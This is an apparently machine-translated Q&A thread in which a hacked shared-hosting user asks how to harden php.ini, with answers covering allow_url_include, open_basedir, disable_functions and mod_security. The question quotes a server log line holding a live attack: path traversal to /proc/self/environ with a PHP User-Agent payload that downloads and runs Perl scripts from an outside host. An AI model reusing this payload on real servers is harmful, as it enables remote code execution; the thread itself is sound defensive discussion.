configurationphp.ini以防止攻击

我在共享主机服务器(heartinternet)上遭到攻击,他们说我应该正确configuration我自己的php.ini文件。

那么我有一个小的PHP / MySQL程序与注册function,一个小的pipe理网站,但有人入侵它。

configuration一个php.ini文件能够防止这样的攻击的一般方法是什么? 任何好的设置将非常感激。

这是我从networking主机提供者得到的:


 121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>" 

由于脚本注入本身攻击站点代码,因此能够完全避免Web服务器的安全性。 不幸的是,一些内容pipe理系统(特别是旧版本的Joomla)非常容易受到这种攻击。

删除攻击者使用这种方法的一个简单方法是在网站的顶层添加一个php.ini文件,内容如下 – 尽pipe如此,网站将需要testing,以确保没有合法的网站脚本操作已经受到这种变化的影响:

php.ini指令是…

 allow_url_include = "0" allow_url_fopen = "0" 

目前还不清楚这些指令是否会阻止这种攻击。 攻击的方式不是通过include() ing或者fopen()来实现,而是依靠能够欺骗你的代码进入include() ing /proc/self/environ这个包含进程环境variables的文件。 该请求使用实际的漏洞代码毒害了这些环境variables,并且实际的漏洞利用下载并执行了一个perl脚本来完成这个肮脏的工作。

build立一个允许你的代码只能打开特定目录中的文件的open_basedir设置可以阻止这种攻击,但是一般来说,没有非常严格的控制的基于用户input执行脚本的程序有很多方法可以被攻击,特别是如果它们允许用户上传的内容,如图片或其他。

保持您的网站代码最新也很重要。 特别是自从这个漏洞已经知道影响Joomla至less从去年三月

如果您正在询问如何防止这种攻击,则需要禁用的是php.ini中的passthrufunction。 如果您有权加载您的自定义php.ini,可以通过在php禁用函数列表中添加适当的函数来禁用一些危险的PHP函数,例如exec(除非您的脚本需要它)。

 disable_functions=passthru,exec,phpinfo 

没有特定的禁用function,你可以在这里使用(如果有的话,那么PHP开发人员将永远不会在PHP中包括它:))。 这一切都取决于你使用和不使用的PHPfunction。 因此,请参阅php手册,并将任何未在您的站点脚本中使用的调用php函数的系统命令/函数添加到disable_functions列表中。

另外,请您的主机安装和configurationmod_security ,这不仅会保护您的域名,而且还会保护共享环境中的其他人。 mod_security是一个很棒的web应用程序防火墙,它可以帮助你保护网站免受多种networking攻击,包括html注入,sql注入,XSS攻击等等。 从攻击的详细信息来看,攻击者正在将perl脚本上传到/ tmp,这很可能是整个服务器的威胁 ,而不仅限于您的域名/帐户。

看到这里: http : //blog.tenablesecurity.com/2009/08/configuration-auditing-phpini-to-help-prevent-web-application-attacks.html阅读整个页面。